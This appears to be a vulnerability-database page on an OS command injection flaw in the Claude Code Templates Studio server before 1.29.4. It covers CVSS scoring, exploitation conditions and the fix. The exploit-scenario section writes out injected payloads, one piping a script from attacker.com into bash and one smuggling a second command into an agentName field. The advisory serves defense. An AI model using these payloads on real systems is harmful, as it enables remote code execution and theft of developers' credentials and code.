Severity by source
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
The server bound to 0.0.0.0 with no auth enables LAN-direct exploitation without any user interaction, making UI:N more accurate than the official UI:R.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Lifecycle Timeline
4DescriptionCVE.org
Claude Code Templates is a CLI tool for configuring and monitoring Claude Code. Prior to 1.29.4, the Claude Code Studio server launched by the --studio option in cli-tool/src/sandbox-server.js binds to all interfaces on port 3444, permits cross-origin requests, and requires no authentication. The POST /api/execute endpoint passes the prompt request-body field to executeLocalTask(), and POST /api/install-agent passes the agentName request-body field to a child process. The same unsafe agent field path is reachable from /api/execute through checkAndInstallAgent(). These attacker-controlled values reach child_process.spawn() with shell execution enabled, causing Node.js to construct a shell command in which metacharacters are interpreted. An attacker who can reach the port directly, or who convinces a developer running Studio to visit a malicious website, can execute arbitrary operating-system commands with the developer's privileges and compromise source code, credentials, and local data. This issue is fixed in version 1.29.4.
Articles & Coverage 1
AnalysisAI
Unauthenticated OS command injection in Claude Code Templates before 1.29.4 allows arbitrary shell command execution with the developer's privileges when the --studio flag is active. The vulnerable sandbox server (cli-tool/src/sandbox-server.js) bound to all network interfaces on port 3444, emitted Access-Control-Allow-Origin: *, and passed HTTP request-body fields - the prompt parameter to /api/execute and the agentName parameter to /api/install-agent - directly into child_process.spawn() with shell:true enabled, causing the shell to interpret attacker-controlled metacharacters. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires that the target developer is actively running claude-code-templates with the --studio flag, which is an opt-in feature that launches the vulnerable sandbox server on port 3444 - the vulnerability does not exist in default CLI usage. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The vendor-assigned CVSS 8.8 vector (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) scores this primarily against the CSRF drive-by vector where UI:R reflects the browser visit requirement; however, the LAN-direct attack path requires no user interaction at all, making UI:N arguably more accurate for the worst-case scenario - an independent assessment yields 9.8 critical under that framing. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | A developer on a shared office network runs claude-code-templates --studio, exposing port 3444 on all interfaces; a network peer sends a direct POST to http://[developer-ip]:3444/api/execute with a JSON body of {"prompt": "hello; curl http://attacker.com/shell.sh | bash"}, which the server passes to spawn('claude', ['hello; curl ...'], {shell: true}), causing the shell to execute the injected command with the developer's OS privileges and exfiltrating source code and credentials. Alternatively, an attacker hosts a malicious webpage that uses JavaScript fetch() to POST to http://127.0.0.1:3444/api/install-agent with {"agentName": "x; whoami > /tmp/pwned"} - since the server previously sent Access-Control-Allow-Origin: *, the browser delivers the response and the injected command executes silently in the background while the developer reads what appears to be an innocuous page. … |
| Remediation | Upgrade claude-code-templates to version 1.29.4, released 2026-07-13, which simultaneously addresses all four root causes: it removes shell:true from every child_process.spawn() call so arguments are passed as discrete argv entries rather than being parsed by the shell, adds a strict allowlist (^[A-Za-z0-9._/-]+$) for agentName/agent fields rejecting injection payloads before they reach any spawn, rebinds the server from 0.0.0.0 to 127.0.0.1 to eliminate the LAN attack surface, and restricts CORS to the local Studio UI origin rather than wildcarding all origins. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Identify all developers using Claude Code Templates and determine which have the --studio flag active; communicate the vulnerability and patch availability to affected teams and require upgrade planning. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Eval injection vulnerability in index.js in the syntax-error package before 1.1.1 for Node.js 0.10.x, as used in IBM Rat
Same weakness CWE-78 – OS Command Injection
View allSame technique Command Injection
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-56858